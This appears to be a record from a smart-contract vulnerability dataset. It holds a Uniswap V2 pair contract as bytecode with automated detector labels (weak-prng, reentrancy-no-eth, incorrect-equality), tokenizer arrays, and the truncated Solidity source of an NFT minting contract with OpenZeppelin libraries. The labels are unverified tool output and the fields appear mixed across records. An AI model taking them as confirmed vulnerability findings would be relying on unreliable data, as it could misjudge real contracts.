01551461052c576101a9565b80637ecebe00116100d35780637ecebe001461046557806389afcb441461048b57806395d89b41146104ca578063a9059cbb146104d2576101a9565b80636a6278421461041157806370a08231146104375780637464fc3d1461045d576101a9565b806323b872dd116101665780633644e515116101405780633644e515146103cb578063485cc955146103d35780635909c0d5146104015780635a3d549314610409576101a9565b806323b872dd1461036f57806330adf81f146103a5578063313ce567146103ad576101a9565b8063022c0d9f146101ae57806306fdde031461023c5780630902f1ac146102b9578063095ea7b3146102f15780630dfe16811461033157806318160ddd14610355575b600080fd5b61023a600480360360808110156101c457600080fd5b8135916020810135916001600160a01b0360408301351691908101906080810160608201356401000000008111156101fb57600080fd5b82018360208201111561020d57600080fd5b8035906020019184600183028401116401000000008311171561022f57600080fd5b5090925090506105c3565b005b610244610afe565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561027e578181015183820152602001610266565b50505050905090810190601f1680156102ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102c1610b24565b604080516001600160701b03948516815292909316602083015263ffffffff168183015290519081900360600190f35b61031d6004803603604081101561030757600080fd5b506001600160a01b038135169060200135610b4e565b604080519115158252519081900360200190f35b610339610b65565b604080516001600160a01b039092168252519081900360200190f35b61035d610b74565b60408051918252519081900360200190f35b61031d6004803603606081101561038557600080fd5b506001600160a01b03813581169160208101359091169060400135610b7a565b61035d610c14565b6103b5610c38565b6040805160ff9092168252519081900360200190f35b61035d610c3d565b61023a600480360360408110156103e957600080fd5b506001600160a01b0381358116916020013516610c43565b61035d610cc7565b61035d610ccd565b61035d6004803603602081101561042757600080fd5b50356001600160a01b0316610cd3565b61035d6004803603602081101561044d57600080fd5b50356001600160a01b0316610fd3565b61035d610fe5565b61035d6004803603602081101561047b57600080fd5b50356001600160a01b0316610feb565b6104b1600480360360208110156104a157600080fd5b50356001600160a01b0316610ffd565b6040805192835260208301919091528051918290030190f35b6102446113a3565b61031d600480360360408110156104e857600080fd5b506001600160a01b0381351690602001356113c5565b61035d6113d2565b61023a6004803603602081101561051c57600080fd5b50356001600160a01b03166113d8565b610339611543565b610339611552565b61023a600480360360e081101561055257600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611561565b61035d600480360360408110156105a357600080fd5b506001600160a01b0381358116916020013516611763565b61023a611780565b600c5460011461060e576040805162461bcd60e51b8152602060048201526011602482015270155b9a5cddd85c158c8e881313d0d2d151607a1b604482015290519081900360640190fd5b6000600c55841515806106215750600084115b61065c5760405162461bcd60e51b81526004018080602001828103825260258152602001806121936025913960400191505060405180910390fd5b600080610667610b24565b5091509150816001600160701b03168710801561068c5750806001600160701b031686105b6106c75760405162461bcd60e51b81526004018080602001828103825260218152602001806121dc6021913960400191505060405180910390fd5b60065460075460009182916001600160a01b039182169190811690891682148015906107055750806001600160a01b0316896001600160a01b031614155b61074e576040805162461bcd60e51b8152602060048201526015602482015274556e697377617056323a20494e56414c49445f544f60581b604482015290519081900360640190fd5b8a1561075f5761075f828a8d6118e2565b891561077057610770818a8c6118e2565b861561082b57886001600160a01b03166310d1e85c338d8d8c8c6040518663ffffffff1660e01b815260040180866001600160a01b03166001600160a01b03168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b15801561081257600080fd5b505af1158015610826573d6000803e3d6000fd5b505050505b604080516370a0823160e01b815230600482015290516001600160a01b038416916370a08231916024808301926020929190829003018186803b15801561087157600080fd5b505afa158015610885573d6000803e3d6000fd5b505050506040513d602081101561089b57600080fd5b5051604080516370a0823160e01b815230600482015290519195506001600160a01b038316916370a0823191602480820192602092909190829003018186803b1580156108e757600080fd5b505afa1580156108fb573d6000803e3d6000fd5b505050506040513d602081101561091157600080fd5b5051925060009150506001600160701b0385168a90038311610934576000610943565b89856001600160701b03160383035b9050600089856001600160701b031603831161096057600061096f565b89856001600160701b03160383035b905060008211806109805750600081115b6109bb5760405162461bcd60e51b81526004018080602001828103825260248152602001806121b86024913960400191505060405180910390fd5b60006109ef6109d184600363ffffffff611a7c16565b6109e3876103e863ffffffff611a7c16565b9063ffffffff611adf16565b90506000610a076109d184600363ffffffff611a7c16565b9050610a38620f4240610a2c6001600160701b038b8116908b1663ffffffff611a7c16565b9063ffffffff611a7c16565b610a48838363ffffffff611a7c16565b1015610a8a576040805162461bcd60e51b815260206004820152600c60248201526b556e697377617056323a204b60a01b604482015290519081900360640190fd5b5050610a9884848888611b2f565b60408051838152602081018390528082018d9052606081018c905290516001600160a01b038b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a8152602001692ab734b9bbb0b8102b1960b11b81525081565b6008546001600160701b0380821692600160701b830490911691600160e01b900463ffffffff1690565b6000610b5b338484611cf4565b5060015b92915050565b6006546001600160a01b031681565b60005481565b6001600160a01b038316600090815260026020908152604080832033845290915281205460001914610bff576001600160a01b0384166000908152600260209081526040808320338452909152902054610bda908363ffffffff611adf16565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b610c0a848484611d56565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b6005546001600160a01b03163314610c99576040805162461bcd60e51b81526020600482015260146024820152732ab734b9bbb0b82b191d102327a92124a22222a760611b604482015290519081900360640190fd5b600680546001600160a01b039384166001600160a01b03199182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c54600114610d20576040805162461bcd60e51b8152602060048201526011602482015270155b9a5cddd85c158c8e881313d0d2d151607a1b604482015290519081900360640190fd5b6000600c81905580610d30610b24565b50600654604080516370a0823160e01b815230600482015290519395509193506000926001600160a01b03909116916370a08231916024808301926020929190829003018186803b158015610d8457600080fd5b505afa158015610d98573d6000803e3d6000fd5b505050506040513d6020811015610dae57600080fd5b5051600754604080516370a0823160e01b815230600482015290519293506000926001600160a01b03909216916370a0823191602480820192602092909190829003018186803b158015610e0157600080fd5b505afa158015610e15573d6000803e3d6000fd5b505050506040513d6020811015610e2b57600080fd5b505190506000610e4a836001600160701b03871663ffffffff611adf16565b90506000610e67836001600160701b03871663ffffffff611adf16565b90506000610e758787611e10565b60005490915080610eb257610e9e6103e86109e3610e99878763ffffffff611a7c16565b611f6e565b9850610ead60006103e8611fc0565b610f01565b610efe6001600160701b038916610ecf868463ffffffff611a7c16565b81610ed657fe5b046001600160701b038916610ef1868563ffffffff611a7c16565b81610ef857fe5b04612056565b98505b60008911610f405760405162461bcd60e51b81526004018080602001828103825260288152602001806122256028913960400191505060405180910390fd5b610f4a8a8a611fc0565b610f5686868a8a611b2f565b8115610f8657600854610f82906001600160701b0380821691600160701b90041663ffffffff611a7c16565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461104b576040805162461bcd60e51b8152602060048201526011602482015270155b9a5cddd85c158c8e881313d0d2d151607a1b604482015290519081900360640190fd5b6000600c8190558061105b610b24565b50600654600754604080516370a0823160e01b815230600482015290519496509294506001600160a01b039182169391169160009184916370a08231916024808301926020929190829003018186803b1580156110b757600080fd5b505afa1580156110cb573d6000803e3d6000fd5b505050506040513d60208110156110e157600080fd5b5051604080516370a0823160e01b815230600482015290519192506000916001600160a01b038516916370a08231916024808301926020929190829003018186803b15801561112f57600080fd5b505afa158015611143573d6000803e3d6000fd5b505050506040513d602081101561115957600080fd5b5051306000908152600160205260408120549192506111788888611e10565b6000549091508061118f848763ffffffff611a7c16565b8161119657fe5b049a50806111aa848663ffffffff611a7c16565b816111b157fe5b04995060008b1180156111c4575060008a115b6111ff5760405162461bcd60e51b81526004018080602001828103825260288152602001806121fd6028913960400191505060405180910390fd5b611209308461206e565b611214878d8d6118e2565b61121f868d8c6118e2565b604080516370a0823160e01b815230600482015290516001600160a01b038916916370a08231916024808301926020929190829003018186803b15801561126557600080fd5b505afa158015611279573d6000803e3d6000fd5b505050506040513d602081101561128f57600080fd5b5051604080516370a0823160e01b815230600482015290519196506001600160a01b038816916370a0823191602480820192602092909190829003018186803b1580156112db57600080fd5b505afa1580156112ef573d6000803e3d6000fd5b505050506040513d602081101561130557600080fd5b5051935061131585858b8b611b2f565b811561134557600854611341906001600160701b0380821691600160701b90041663ffffffff611a7c16565b600b555b604080518c8152602081018c905281516001600160a01b038f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b604051806040016040528060068152602001652aa72496ab1960d11b81525081565b6000610b5b338484611d56565b6103e881565b600c54600114611423576040805162461bcd60e51b8152602060048201526011602482015270155b9a5cddd85c158c8e881313d0d2d151607a1b604482015290519081900360640190fd5b6000600c55600654600754600854604080516370a0823160e01b815230600482015290516001600160a01b0394851694909316926114d292859287926114cd926001600160701b03169185916370a0823191602480820192602092909190829003018186803b15801561149557600080fd5b505afa1580156114a9573d6000803e3d6000fd5b505050506040513d60208110156114bf57600080fd5b50519063ffffffff611adf16565b6118e2565b600854604080516370a0823160e01b8152306004820152905161153992849287926114cd92600160701b90046001600160701b0316916001600160a01b038616916370a0823191602480820192602092909190829003018186803b15801561149557600080fd5b50506001600c5550565b6005546001600160a01b031681565b6007546001600160a01b031681565b428410156115ab576040805162461bcd60e51b8152602060048201526012602482015271155b9a5cddd85c158c8e881156141254915160721b604482015290519081900360640190fd5b6003546001600160a01b0380891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e08501825280519083012061190160f01b6101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e280820193601f1981019281900390910190855afa1580156116c6573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116158015906116fc5750886001600160a01b0316816001600160a01b0316145b61174d576040805162461bcd60e51b815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611758898989611cf4565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c546001146117cb576040805162461bcd60e51b8152602060048201526011602482015270155b9a5cddd85c158c8e881313d0d2d151607a1b604482015290519081900360640190fd5b6000600c55600654604080516370a0823160e01b815230600482015290516118db926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561181c57600080fd5b505afa158015611830573d6000803e3d6000fd5b505050506040513d602081101561184657600080fd5b5051600754604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561189357600080fd5b505afa1580156118a7573d6000803e3d6000fd5b505050506040513d60208110156118bd57600080fd5b50516008546001600160701b0380821691600160701b900416611b2f565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e74323536290000000000000060209182015281516001600160a01b0385811660248301526044808301869052845180840390910181526064909201845291810180516001600160e01b031663a9059cbb60e01b1781529251815160009460609489169392918291908083835b6020831061198f5780518252601f199092019160209182019101611970565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146119f1576040519150601f19603f3d011682016040523d82523d6000602084013e6119f6565b606091505b5091509150818015611a24575080511580611a245750808060200190516020811015611a2157600080fd5b50515b611a75576040805162461bcd60e51b815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b6000811580611a9757505080820282828281611a9457fe5b04145b610b5f576040805162461bcd60e51b815260206004820152601460248201527364732d6d6174682d6d756c2d6f766572666c6f7760601b604482015290519081900360640190fd5b80820382811115610b5f576040805162461bcd60e51b815260206004820152601560248201527464732d6d6174682d7375622d756e646572666c6f7760581b604482015290519081900360640190fd5b6001600160701b038411801590611b4d57506001600160701b038311155b611b94576040805162461bcd60e51b8152602060048201526013602482015272556e697377617056323a204f564552464c4f5760681b604482015290519081900360640190fd5b60085463ffffffff42811691600160e01b90048116820390811615801590611bc457506001600160701b03841615155b8015611bd857506001600160701b03831615155b15611c49578063ffffffff16611c0685611bf18661210c565b6001600160e01b03169063ffffffff61211e16565b600980546001600160e01b03929092169290920201905563ffffffff8116611c3184611bf18761210c565b600a80546001600160e01b0392909216929092020190555b600880546dffffffffffffffffffffffffffff19166001600160701b03888116919091176dffffffffffffffffffffffffffff60701b1916600160701b8883168102919091176001600160e01b0316600160e01b63ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316600090815260016020526040902054611d7f908263ffffffff611adf16565b6001600160a01b038085166000908152600160205260408082209390935590841681522054611db4908263ffffffff61214316565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a90046001600160a01b03166001600160a01b031663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6157600080fd5b505afa158015611e75573d6000803e3d6000fd5b505050506040513d6020811015611e8b57600080fd5b5051600b546001600160a01b038216158015945091925090611f5a578015611f55576000611ece610e996001600160701b0388811690881663ffffffff611a7c16565b90506000611edb83611f6e565b905080821115611f52576000611f09611efa848463ffffffff611adf16565b6000549063ffffffff611a7c16565b90506000611f2e83611f2286600563ffffffff611a7c16565b9063ffffffff61214316565b90506000818381611f3b57fe5b0490508015611f4e57611f4e8782611fc0565b5050505b50505b611f66565b8015611f66576000600b555b505092915050565b60006003821115611fb1575080600160028204015b81811015611fab57809150600281828581611f9a57fe5b040181611fa357fe5b049050611f83565b50611fbb565b8115611fbb575060015b919050565b600054611fd3908263ffffffff61214316565b60009081556001600160a01b038316815260016020526040902054611ffe908263ffffffff61214316565b6001600160a01b03831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b60008183106120655781612067565b825b9392505050565b6001600160a01b038216600090815260016020526040902054612097908263ffffffff611adf16565b6001600160a01b038316600090815260016020526040812091909155546120c4908263ffffffff611adf16565b60009081556040805183815290516001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6001600160701b0316600160701b0290565b60006001600160701b0382166001600160e01b0384168161213b57fe5b049392505050565b80820182811015610b5f576040805162461bcd60e51b815260206004820152601460248201527364732d6d6174682d6164642d6f766572666c6f7760601b604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158206e15c19acbdabcf8c0f15fea1a476ab7fb87f406feb20d8487fe6ee9f271973a64736f6c63430005100032454950373132446f6d61696e28737472696e67206e616d652c737472696e672076657273696f6e2c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e747261637429a265627a7a72315820b63856d04a5a3b2f262d0c37d132e20a953a9bfd176b75bd6c211c38d843786c64736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 11387, 9818, 2546, 2683, 2509, 2497, 18939, 2063, 21619, 2497, 21619, 21619, 14141, 2497, 28756, 2497, 2581, 2581, 22394, 2497, 2629, 2278, 2683, 2629, 2546, 2692, 23352, 2620, 10975, 8490, 2863, 5024, 3012, 1027, 1014, 1012, 1019, 1012, 2385, 1025, 8278, 1045, 19496, 26760, 9331, 2615, 2475, 21450, 1063, 2724, 3940, 16748, 4383, 1006, 4769, 25331, 19204, 2692, 1010, 4769, 25331, 19204, 2487, 1010, 4769, 3940, 1010, 21318, 3372, 1007, 1025, 3853, 2519, 2080, 1006, 1007, 6327, 3193, 5651, 1006, 4769, 1007, 1025, 3853, 2519, 9232, 12079, 1006, 1007, 6327, 3193, 5651, 1006, 4769, 1007, 1025, 3853, 2131, 4502, 4313, 1006, 4769, 19204, 2050, 1010, 4769, 19204, 2497, 1007, 6327, 3193, 5651, 1006, 4769, 3940, 1007, 1025, 3853, 2035, 4502, 18894, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,655
0x9720Bf568E85e23Bd8202acf2Fc8eB2c8Eefe85b
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.2; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "./ERC721A.sol"; contract APClubNFT is Ownable, ERC721A, ReentrancyGuard { using ECDSA for bytes32; address private payoutAddress; address public signerAddress; // // metadata URI string private _baseTokenURI; uint256 public collectionSize; uint256 public maxBatchSize; uint256 public currentSaleIndex; enum SaleStage { Whitelist, Auction, Public } struct SaleConfig { uint16 tierIndex; uint32 startTime; uint32 endTime; uint32 stageBatchSize; uint64 stageLimit; uint64 price; SaleStage stage; } SaleConfig[] public saleConfigs; mapping(string => bool) public ticketUsed; struct AuctionConfig { uint64 startPrice; uint64 endPrice; uint32 startTime; uint32 priceCurveLength; uint32 dropPriceInterval; } AuctionConfig public auctionConfig; constructor( uint256 maxBatchSize_, uint256 collectionSize_, address _signerAddress ) ERC721A("AP Club NFT", "AP") { collectionSize = collectionSize_; maxBatchSize = maxBatchSize_; payoutAddress = 0x890054c5755E148caAfc9bf54DD60175468b37C5; signerAddress = _signerAddress; currentSaleIndex = 0; SaleConfig memory whitelist1SaleConfig = SaleConfig({ tierIndex: 1, startTime: 1645920000, endTime: 1645927200, stageBatchSize: 1, stageLimit: 22, price: 0.8 ether, stage: SaleStage.Whitelist }); SaleConfig memory whitelist2SaleConfig = SaleConfig({ tierIndex: 2, startTime: 1645927200, endTime: 1645938000, stageBatchSize: 1, stageLimit: 140, price: 1.2 ether, stage: SaleStage.Whitelist }); SaleConfig memory auctionSaleConfig = SaleConfig({ tierIndex: 1, startTime: 1645941600, endTime: 1645943700, stageBatchSize: 1, stageLimit: 159, price: 3 ether, stage: SaleStage.Auction }); saleConfigs.push(whitelist1SaleConfig); saleConfigs.push(whitelist2SaleConfig); saleConfigs.push(auctionSaleConfig); auctionConfig = AuctionConfig({ startPrice: 3 ether, endPrice: 1.5 ether, startTime: 1645941600, priceCurveLength: 30 minutes, dropPriceInterval: 5 minutes }); } modifier callerIsUser() { require(tx.origin == msg.sender, "The caller is another contract"); _; } function whitelistMint( uint256 quantity, string memory _ticket, bytes memory _signature ) external payable callerIsUser { checkMintQuantity(quantity); proceedSaleStageIfNeed(); require(isSaleStageOn(SaleStage.Whitelist), "sale has not started yet"); require(!ticketUsed[_ticket], "Ticket has already been used"); require( isAuthorized(msg.sender, _ticket, _signature, signerAddress), "Ticket is invalid" ); SaleConfig memory config = saleConfigs[currentSaleIndex]; uint256 stageLimit = uint256(config.stageLimit); require(totalSupply() + 1 <= stageLimit, "reached max supply"); uint256 price = uint256(config.price); require(price != 0, "allowlist sale has not begun yet"); ticketUsed[_ticket] = true; checkEnoughPrice(price); _safeMint(msg.sender, quantity); } function mint(uint256 quantity) external payable callerIsUser { checkMintQuantity(quantity); proceedSaleStageIfNeed(); SaleConfig memory config = saleConfigs[currentSaleIndex]; uint256 stageLimit = uint256(config.stageLimit); uint256 auctionBatchSize = uint256(config.stageBatchSize); SaleStage stage = config.stage; require(stage != SaleStage.Whitelist, "wrong stage"); require(isSaleStageOn(stage), "sale has not started yet"); require( totalSupply() + quantity <= stageLimit, "exceed auction mint amount" ); require(quantity <= auctionBatchSize, "can not mint this many"); if (stage == SaleStage.Auction) { uint256 totalCost = getAuctionPrice(block.timestamp) * quantity; checkEnoughPrice(totalCost); _safeMint(msg.sender, quantity); } else { uint256 publicPrice = uint256(config.price); checkEnoughPrice(publicPrice * quantity); _safeMint(msg.sender, quantity); } } function checkMintQuantity(uint256 quantity) private view { SaleConfig memory config = saleConfigs[currentSaleIndex]; uint256 stageBatchSize = uint256(config.stageBatchSize); require(stageBatchSize >= quantity, "Exceed mint quantity limit."); } function proceedSaleStageIfNeed() private { while (saleConfigs.length > currentSaleIndex + 1) { SaleConfig memory config = saleConfigs[currentSaleIndex]; uint256 nextStageSaleEndTime = uint256(config.endTime); if (block.timestamp >= nextStageSaleEndTime) { currentSaleIndex += 1; } else { return; } } } function checkEnoughPrice(uint256 price) private { require(msg.value >= price, "Need to send more ETH."); } function isSaleStageOn(SaleStage _stage) private view returns (bool) { if (saleConfigs.length <= currentSaleIndex) { return false; } SaleConfig memory config = saleConfigs[currentSaleIndex]; uint256 stagePrice = uint256(config.price); uint256 stageSaleStartTime = uint256(config.startTime); SaleStage currentStage = config.stage; return stagePrice != 0 && currentStage == _stage && block.timestamp >= stageSaleStartTime; } function getAuctionPrice(uint256 currentTimestamp) public view returns (uint256) { AuctionConfig memory config = auctionConfig; uint256 auctionStartTime = uint256(config.startTime); uint256 auctionStartPrice = uint256(config.startPrice); uint256 auctionEndPrice = uint256(config.endPrice); uint256 auctionPriceCurveLength = uint256(config.priceCurveLength); if (currentTimestamp < auctionStartTime) { return auctionStartPrice; } if (currentTimestamp - auctionStartTime >= auctionPriceCurveLength) { return auctionEndPrice; } else { uint256 auctionDropInterval = uint256(config.dropPriceInterval); uint256 steps = (currentTimestamp - auctionStartTime) / auctionDropInterval; uint256 auctionDropPerStep = (auctionStartPrice - auctionEndPrice) / (auctionPriceCurveLength / auctionDropInterval); return auctionStartPrice - (steps * auctionDropPerStep); } } function setSaleConfig( uint256 _saleIndex, uint16 _tierIndex, uint32 _startTime, uint32 _endTime, uint32 _stageBatchSize, uint64 _stageLimit, uint64 _price, SaleStage _stage ) external onlyOwner { SaleConfig memory config = SaleConfig({ tierIndex: _tierIndex, startTime: _startTime, endTime: _endTime, stageBatchSize: _stageBatchSize, stageLimit: _stageLimit, price: _price, stage: _stage }); if (_saleIndex >= saleConfigs.length) { saleConfigs.push(config); } else { saleConfigs[_saleIndex] = config; } } function setAuctionConfig( uint64 auctionStartPriceWei, uint64 auctionEndPriceWei, uint32 _startTime, uint32 auctionPriceCurveLength, uint32 auctionDropInterval ) external onlyOwner { auctionConfig = AuctionConfig( auctionStartPriceWei, auctionEndPriceWei, _startTime, auctionPriceCurveLength, auctionDropInterval ); } function setCurrentSaleIndex(uint256 _currentSaleIndex) external onlyOwner { currentSaleIndex = _currentSaleIndex; } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function setBaseURI(string calldata baseURI) external onlyOwner { _baseTokenURI = baseURI; } function withdraw() external onlyOwner nonReentrant { (bool success, ) = payable(payoutAddress).call{ value: address(this).balance }(""); require(success, "Transfer failed."); } function numberMinted(address owner) public view returns (uint256) { return _numberMinted(owner); } function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) { return ownershipOf(tokenId); } function mintForAirdrop(address _to, uint256 _mintAmount) external onlyOwner { uint256 supply = totalSupply(); require(supply + _mintAmount <= collectionSize, "Exceed max supply"); if (msg.sender == owner()) { _safeMint(_to, _mintAmount); } } function setMaxBatchSize(uint256 _newMaxBatchSize) external onlyOwner { maxBatchSize = _newMaxBatchSize; } function setCollectionSize(uint256 _newCollectionSize) external onlyOwner { collectionSize = _newCollectionSize; } function isTicketAvailable(string memory ticket, bytes memory signature) external view returns (bool) { return !ticketUsed[ticket] && isAuthorized(msg.sender, ticket, signature, signerAddress); } function isAuthorized( address sender, string memory ticket, bytes memory signature, address _signerAddress ) private pure returns (bool) { bytes32 hash = keccak256(abi.encodePacked(sender, ticket)); bytes32 signedHash = keccak256( abi.encodePacked("\x19Ethereum Signed Message:\n32", hash) ); return _signerAddress == signedHash.recover(signature); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See 